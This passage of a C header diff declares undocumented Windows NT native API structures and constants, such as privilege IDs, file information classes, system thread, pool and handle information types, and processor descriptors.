SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE TEXT("SeTrustedCredmanAccessPrivilege") +// #define SE_RELABEL_PRIVILEGE TEXT("SeReLabelPrivilege") +#define SE_CREATE_GLOBAL_NAME TEXT("SeCreateGlobalPrivilege") + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) + +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _CLIENT_ID32 +{ + ULONG UniqueProcess; + ULONG UniqueThread; +} CLIENT_ID32, *PCLIENT_ID32; + +typedef struct _CLIENT_ID64 +{ + ULONGLONG UniqueProcess; + ULONGLONG UniqueThread; +} CLIENT_ID64, *PCLIENT_ID64; + +#include + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + +#include + +// +// FILE_INFORMATION +// +//readded 17.09.11 EP_X0FF + +typedef struct _FILE_BASIC_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CreationTime; // ntddk wdm nthal + LARGE_INTEGER LastAccessTime; // ntddk wdm nthal + LARGE_INTEGER LastWriteTime; // ntddk wdm nthal + LARGE_INTEGER ChangeTime; // ntddk wdm nthal + ULONG FileAttributes; // ntddk wdm nthal +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; // ntddk wdm nthal + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CurrentByteOffset; // ntddk wdm nthal +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; // ntddk wdm nthal + // ntddk wdm nthal +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { // ntddk nthal + ULONG AlignmentRequirement; // ntddk nthal +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_NAME_INFORMATION { // ntddk + ULONG FileNameLength; // ntddk + WCHAR FileName[1]; // ntddk +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; // ntddk + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CreationTime; // ntddk wdm nthal + LARGE_INTEGER LastAccessTime; // ntddk wdm nthal + LARGE_INTEGER LastWriteTime; // ntddk wdm nthal + LARGE_INTEGER ChangeTime; // ntddk wdm nthal + LARGE_INTEGER AllocationSize; // ntddk wdm nthal + LARGE_INTEGER EndOfFile; // ntddk wdm nthal + ULONG FileAttributes; // ntddk wdm nthal +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; // ntddk wdm nthal + // ntddk wdm nthal +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { // ntddk nthal + ULONG FileAttributes; // ntddk nthal + ULONG ReparseTag; // ntddk nthal +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { // ntddk nthal + BOOLEAN DeleteFile; // ntddk nthal +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_END_OF_FILE_INFORMATION { // ntddk nthal + LARGE_INTEGER EndOfFile; // ntddk nthal +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { // ntddk nthal + LARGE_INTEGER ValidDataLength; // ntddk nthal +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; // ntddk nthal + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +// +// NtQuery(Set)EaFile +// +// The offset for the start of EaValue is EaName[EaNameLength + 1] +// + +// begin_ntddk begin_wdm + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +// end_ntddk end_wdm + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +// +// NtQuery(Set)QuotaInformationFile +// + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +// +// NtQueryDirectoryFile return types: +// +// FILE_DIRECTORY_INFORMATION +// FILE_FULL_DIR_INFORMATION +// FILE_ID_FULL_DIR_INFORMATION +// FILE_BOTH_DIR_INFORMATION +// FILE_ID_BOTH_DIR_INFORMATION +// FILE_NAMES_INFORMATION +// FILE_OBJECTID_INFORMATION +// + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } ; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + + +// +// SYSTEM_INFORMATION +// + +typedef struct _SYSTEM_GDI_DRIVER_INFORMATION +{ + UNICODE_STRING DriverName; + PVOID ImageAddress; + PVOID SectionPointer; + PVOID EntryPoint; + PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; + ULONG ImageLength; +} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION +{ + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + +// +// taken from http://www.acc.umu.se/~bosse/ntifs.h - contents are questionable. +// + +typedef enum _THREAD_STATE +{ + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + Spare2, + Spare3, + Spare4, + Spare5, + Spare6, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + MaximumWaitReason +} KWAIT_REASON; + +//FIXED 21.02.2011 size for x64/x86 +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION { + SYSTEM_THREAD_INFORMATION ThreadInfo; + PVOID StackBase; + PVOID StackLimit; + PVOID Win32StartAddress; + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + ULONG_PTR Reserved3; + ULONG_PTR Reserved4; +} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; + +typedef struct _SYSTEM_POOL_ENTRY { + BOOLEAN Allocated; + BOOLEAN Spare0; + USHORT AllocatorBackTraceIndex; + ULONG Size; + union { + UCHAR Tag[4]; + ULONG TagUlong; + PVOID ProcessChargedQuota; + }; +} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY; + +typedef struct _SYSTEM_POOL_INFORMATION { + SIZE_T TotalSize; + PVOID FirstEntry; + USHORT EntryOverhead; + BOOLEAN PoolTagPresent; + BOOLEAN Spare0; + ULONG NumberOfEntries; + SYSTEM_POOL_ENTRY Entries[1]; +} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION; + +typedef struct _SYSTEM_POOLTAG { + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; + ULONG PagedAllocs; + ULONG PagedFrees; + SIZE_T PagedUsed; + ULONG NonPagedAllocs; + ULONG NonPagedFrees; + SIZE_T NonPagedUsed; +} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG; + +typedef struct _SYSTEM_BIGPOOL_ENTRY { + union { + PVOID VirtualAddress; + ULONG_PTR NonPaged : 1; // Set to 1 if entry is nonpaged. + }; + SIZE_T SizeInBytes; + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY; + +typedef struct _SYSTEM_POOLTAG_INFORMATION +{ + ULONG Count; + SYSTEM_POOLTAG TagInfo[ 1 ]; +} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION { + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG Count; + SYSTEM_POOLTAG TagInfo[ 1 ]; +} SYSTEM_SESSION_POOLTAG_INFORMATION, *PSYSTEM_SESSION_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_BIGPOOL_INFORMATION { + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ 1 ]; +} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX +{ + PVOID Object; + ULONG UniqueProcessId; + ULONG HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG NumberOfHandles; + ULONG Reserved; + struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[ 1 ]; +} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + +typedef struct _SYSTEM_SPECIAL_POOL_INFORMATION +{ + ULONG PoolTag; + ULONG Flags; +} SYSTEM_SPECIAL_POOL_INFORMATION, *PSYSTEM_SPECIAL_POOL_INFORMATION; + +typedef struct _SYSTEM_OBJECTTYPE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfObjects; + ULONG NumberOfHandles; + ULONG TypeIndex; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG PoolType; + UCHAR SecurityRequired; + UCHAR WaitableObject; + UNICODE_STRING TypeName; +} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION; + +typedef struct _SYSTEM_HIBERFILE_INFORMATION +{ + ULONG NumberOfMcbPairs; + LARGE_INTEGER Mcb[ 1 ]; +} SYSTEM_HIBERFILE_INFORMATION, *PSYSTEM_HIBERFILE_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + SIZE_T PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION { + ULONG ContextSwitches; + ULONG FindAny; + ULONG FindLast; + ULONG FindIdeal; + ULONG IdleAny; + ULONG IdleCurrent; + ULONG IdleLast; + ULONG IdleIdeal; + ULONG PreemptAny; + ULONG PreemptCurrent; + ULONG PreemptLast; + ULONG SwitchToIdle; +} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION; + +typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION { + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG ViewFailures; + SIZE_T NumberOfBytesAvailable; + SIZE_T NumberOfBytesAvailableContiguous; +} SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, *PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION; + +typedef struct _SYSTEM_INTERRUPT_INFORMATION { + ULONG ContextSwitches; + ULONG DpcCount; + ULONG DpcRate; + ULONG TimeIncrement; + ULONG DpcBypassCount; + ULONG ApcBypassCount; +} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; + +typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION { + ULONG Spare; + ULONG DpcQueueDepth; + ULONG MinimumDpcRate; + ULONG AdjustDpcThreshold; + ULONG IdealDpcRate; +} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION; + +typedef struct _SYSTEM_LOOKASIDE_INFORMATION { + USHORT CurrentDepth; + USHORT MaximumDepth; + ULONG TotalAllocates; + ULONG AllocateMisses; + ULONG TotalFrees; + ULONG FreeMisses; + ULONG Type; + ULONG Tag; + ULONG Size; +} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; + +typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION { + ULONG VetoType; + UNICODE_STRING VetoList; +} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION; + +typedef struct _SYSTEM_VDM_INSTEMUL_INFO +{ + ULONG SegmentNotPresent; + ULONG VdmOpcode0F; + ULONG OpcodeESPrefix; + ULONG OpcodeCSPrefix; + ULONG OpcodeSSPrefix; + ULONG OpcodeDSPrefix; + ULONG OpcodeFSPrefix; + ULONG OpcodeGSPrefix; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB; + ULONG OpcodeINSW; + ULONG OpcodeOUTSB; + ULONG OpcodeOUTSW; + ULONG OpcodePUSHF; + ULONG OpcodePOPF; + ULONG OpcodeINTnn; + ULONG OpcodeINTO; + ULONG OpcodeIRET; + ULONG OpcodeINBimm; + ULONG OpcodeINWimm; + ULONG OpcodeOUTBimm; + ULONG OpcodeOUTWimm; + ULONG OpcodeINB; + ULONG OpcodeINW; + ULONG OpcodeOUTB; + ULONG OpcodeOUTW; + ULONG OpcodeLOCKPrefix; + ULONG OpcodeREPNEPrefix; + ULONG OpcodeREPPrefix; + ULONG OpcodeHLT; + ULONG OpcodeCLI; + ULONG OpcodeSTI; + ULONG BopCount; +} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION +{ + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +#if defined(_M_X64) +typedef ULONG SYSINF_PAGE_COUNT; +#else +typedef SIZE_T SYSINF_PAGE_COUNT; +#endif + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + SYSINF_PAGE_COUNT NumberOfPhysicalPages; + SYSINF_PAGE_COUNT LowestPhysicalPageNumber; + SYSINF_PAGE_COUNT HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_INFORMATION { + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT Reserved; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; // Checked Build + LARGE_INTEGER InterruptTime; // Checked Build + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION { + ULONGLONG IdleTime; + ULONGLONG C1Time; + ULONGLONG C2Time; + ULONGLONG C3Time; + ULONG C1Transitions; + ULONG C2Transitions; + ULONG C3Transitions; + ULONG Padding; +} SYSTEM_PROCESSOR_IDLE_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_INFORMATION; + +typedef struct _SYSTEM_NUMA_INFORMATION { + ULONG HighestNodeNumber; + ULONG Reserved; + union { + ULONG64 ActiveProcessorsAffinityMask[ 16 ]; + ULONG64 AvailableMemory[ 16 ]; + }; +} SYSTEM_NUMA_INFORMATION, *PSYSTEM_NUMA_INFORMATION; + +#if !defined(_WINNT_) + +typedef enum _LOGICAL_PROCESSOR_RELATIONSHIP +{ + RelationProcessorCore, + RelationNumaNode, + RelationCache, + RelationProcessorPackage +} LOGICAL_PROCESSOR_RELATIONSHIP; + +typedef enum _PROCESSOR_CACHE_TYPE +{ + CacheUnified, + CacheInstruction, + CacheData, + CacheTrace +} PROCESSOR_CACHE_TYPE; + +#define CACHE_FULLY_ASSOCIATIVE 0xFF + +typedef struct _CACHE_DESCRIPTOR +{ + BYTE Level; + BYTE Associativity; + WORD LineSize; + DWORD Size; + PROCESSOR_CACHE_TYPE Type; +} CACHE_DESCRIPTOR, *PCACHE_DESCRIPTOR; + +typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION { + ULONG_PTR ProcessorMask; + LOGICAL_PROCESSOR_RELATIONSHIP Relationship; + union { + struct { + BYTE Flags; + } ProcessorCore; + struct { + DWORD NodeNumber; + } NumaNode; + CACHE_DESCRIPTOR Cache; + ULONGLONG Reserved[2]; + }; +} SYSTEM_LOGICAL_PROCESSOR_INFORMATION, *PSYSTEM_LOGICAL_PROCESSOR_INFORMATION; + +#define 